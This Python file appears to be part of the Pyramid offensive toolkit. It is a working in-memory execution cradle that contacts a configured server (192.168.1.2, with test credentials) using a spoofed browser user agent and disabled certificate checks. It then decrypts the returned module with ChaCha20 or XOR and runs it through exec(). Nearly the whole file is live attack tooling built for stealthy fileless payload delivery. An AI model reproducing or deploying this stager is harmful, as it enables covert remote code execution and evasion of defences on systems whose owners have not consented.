'''
Author: @naksyn (c) 2023

Description: Pyramid module execution cradle to download, decrypt and execute in-memory. 

Copyright 2023
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE
OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
'''

import struct
import urllib.request
import base64
import ssl
import hashlib

### GENERAL CONFIG ####

user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'

### This config is generated by Pyramid server upon startup and based on command line given
### AUTO-GENERATED PYRAMID CONFIG ### DELIMITER

pyramid_server='192.168.1.2'
pyramid_port='80'
pyramid_user='test'
pyramid_pass='pass'
encryption='chacha20'
encryptionpass='chacha20'
chacha20IV=b'12345678'
pyramid_http='http'
encode_encrypt_url='/login/'
pyramid_module='pythonmemorymodule.py'

### END DELIMITER


def encrypt_wrapper(data, encryption):
    if encryption == 'xor':
        result=xor(data, encryptionpass.encode())
        return result
    elif encryption == 'chacha20':
        result=encrypt(data, encryptionpass.encode(),chacha20IV)
        return result	

def xor(data, key):
    xored_data = []
    i = 0
    for data_byte in data:
        if i < len(key):
            xored_byte = data_byte ^ key[i]
            xored_data.append(xored_byte)
            i += 1
        else:
            xored_byte = data_byte ^ key[0]
            xored_data.append(xored_byte)
            i = 1
    return bytes(xored_data)
    
def yield_chacha20_xor_stream(key, iv, position=0):
  """Generate the xor stream with the ChaCha20 cipher."""
  if not isinstance(position, int):
    raise TypeError
  if position & ~0xffffffff:
    raise ValueError('Position is not uint32.')
  if not isinstance(key, bytes):
    raise TypeError
  if not isinstance(iv, bytes):
    raise TypeError
  if len(key) != 32:
    raise ValueError
  if len(iv) != 8:
    raise ValueError

  def rotate(v, c):
    return ((v << c) & 0xffffffff) | v >> (32 - c)

  def quarter_round(x, a, b, c, d):
    x[a] = (x[a] + x[b]) & 0xffffffff
    x[d] = rotate(x[d] ^ x[a], 16)
    x[c] = (x[c] + x[d]) & 0xffffffff
    x[b] = rotate(x[b] ^ x[c], 12)
    x[a] = (x[a] + x[b]) & 0xffffffff
    x[d] = rotate(x[d] ^ x[a], 8)
    x[c] = (x[c] + x[d]) & 0xffffffff
    x[b] = rotate(x[b] ^ x[c], 7)

  ctx = [0] * 16
  ctx[:4] = (1634760805, 857760878, 2036477234, 1797285236)
  ctx[4 : 12] = struct.unpack('<8L', key)
  ctx[12] = ctx[13] = position
  ctx[14 : 16] = struct.unpack('<LL', iv)
  while 1:
    x = list(ctx)
    for i in range(3):
      quarter_round(x, 0, 4,  8, 12)
      quarter_round(x, 1, 5,  9, 13)
      quarter_round(x, 2, 6, 10, 14)
      quarter_round(x, 3, 7, 11, 15)
      quarter_round(x, 0, 5, 10, 15)
      quarter_round(x, 1, 6, 11, 12)
      quarter_round(x, 2, 7,  8, 13)
      quarter_round(x, 3, 4,  9, 14)
    for c in struct.pack('<16L', *(
        (x[i] + ctx[i]) & 0xffffffff for i in range(16))):
      yield c
    ctx[12] = (ctx[12] + 1) & 0xffffffff
    if ctx[12] == 0:
      ctx[13] = (ctx[13] + 1) & 0xffffffff


def encrypt(data, key, iv=None, position=0):
  """Encrypt (or decrypt) with the ChaCha20 cipher."""
  if not isinstance(data, bytes):
    raise TypeError
  if iv is None:
    iv = b'\0' * 8
  if isinstance(key, bytes):
    if not key:
      raise ValueError('Key is empty.')
    if len(key) < 32:
      # TODO(pts): Do key derivation with PBKDF2 or something similar.
      key = (key * (32 // len(key) + 1))[:32]
    if len(key) > 32:
      raise ValueError('Key too long.')

  return bytes(a ^ b for a, b in
      zip(data, yield_chacha20_xor_stream(key, iv, position)))
      
      
      
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
gcontext.check_hostname = False
gcontext.verify_mode = ssl.CERT_NONE

request = urllib.request.Request(pyramid_http + '://'+ pyramid_server + ':' + pyramid_port + encode_encrypt_url + \
                  base64.b64encode((encrypt_wrapper((pyramid_module).encode(), encryption))).decode('utf-8'), \
				  headers={'User-Agent': user_agent})
base64string = base64.b64encode(bytes('%s:%s' % (pyramid_user, pyramid_pass),'ascii'))
request.add_header("Authorization", "Basic %s" % base64string.decode('utf-8'))

result = urllib.request.urlopen(request, context=gcontext)
payload=result.read()
paydec=encrypt_wrapper(payload,encryption)
exec(paydec.decode('utf-8'))